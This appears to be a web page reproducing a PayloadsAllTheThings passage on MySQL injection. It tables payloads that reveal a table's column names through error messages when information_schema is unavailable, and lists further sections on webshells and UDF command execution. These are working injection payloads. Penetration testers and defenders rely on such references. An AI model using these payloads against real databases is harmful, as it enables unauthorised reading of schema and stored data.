Skip to content
BackEsc
Sign in

SQL Injection · passage 83 of 186

MySQL Injection: Extract Columns Name Without InformationSchema

Text · SQL Injection/MySQL Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

Method for `MySQL >= 4.1`. | Payload | Output | | ------------------------------------------------------------------------- | -------------------------------------- | | `(1)and(SELECT * from db.users)=(1)` | Operand should contain **4** column(s) | | `1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)` | Column '**id**' cannot be null | Method for `MySQL 5` | Payload | Output | | ------------------------------------------------------------------------ | -------------------------------- | | `UNION SELECT * FROM (SELECT * FROM users JOIN users b)a` | Duplicate column name '**id**' | | `UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a` | Duplicate column name '**name**' | | `UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a` | Data |

Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 79 to 104, reading order first.

  1. MySQL Injection: Iterative NULL Method§ 791 code block · MySQL Injection.md
  2. MySQL Injection: ORDER BY Method§ 801 code block · MySQL Injection.md
  3. MySQL Injection: LIMIT INTO Method§ 81text · MySQL Injection.md
  4. MySQL Injection: Extract Database With InformationSchema§ 824 code blocks · MySQL Injection.md
  5. MySQL Injection: Extract Columns Name Without InformationSchema§ 83text · MySQL Injection.md
  6. MySQL Injection: Extract Data Without Columns Name§ 842 code blocks · MySQL Injection.md
  7. MySQL Injection: MYSQL Error Based§ 85text · MySQL Injection.md
  8. MySQL Injection: MYSQL Error Based - Basic§ 861 code block · MySQL Injection.md
  9. MySQL Injection: MYSQL Error Based - UpdateXML Function§ 872 code blocks · MySQL Injection.md
  10. MySQL Injection: MYSQL Error Based - Extractvalue Function§ 881 code block · MySQL Injection.md
  11. MySQL Injection: MYSQL Error Based - NAMECONST function (only for constants)§ 891 code block · MySQL Injection.md
  12. MySQL Injection: MYSQL Blind With Substring Equivalent§ 901 code block · MySQL Injection.md
  13. MySQL Injection: MYSQL Blind Using a Conditional Statement§ 91text · MySQL Injection.md
  14. MySQL Injection: MYSQL Blind With MAKESET§ 921 code block · MySQL Injection.md
  15. MySQL Injection: MYSQL Blind With LIKE§ 931 code block · MySQL Injection.md
  16. MySQL Injection: MySQL Blind with REGEXP§ 94text · MySQL Injection.md
  17. MySQL Injection: MYSQL Time Based§ 95text · MySQL Injection.md
  18. MySQL Injection: Using SLEEP in a Subselect§ 965 code blocks · MySQL Injection.md
  19. MySQL Injection: Using Conditional Statements§ 971 code block · MySQL Injection.md
  20. MySQL Injection: MYSQL DIOS - Dump in One Shot§ 981 code block · MySQL Injection.md
  21. MySQL Injection: MYSQL Current Queries§ 993 code blocks · MySQL Injection.md
  22. MySQL Injection: MYSQL Read Content of a File§ 1002 code blocks · MySQL Injection.md
  23. MySQL Injection: WEBSHELL - OUTFILE Method§ 1011 code block · MySQL Injection.md
  24. MySQL Injection: WEBSHELL - DUMPFILE Method§ 1021 code block · MySQL Injection.md
  25. MySQL Injection: COMMAND - UDF Library§ 1032 code blocks · MySQL Injection.md
  26. MySQL Injection: MYSQL INSERT§ 1042 code blocks · MySQL Injection.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP

CyberSIXTSignal over noise
Updated AboutDevelopersSign in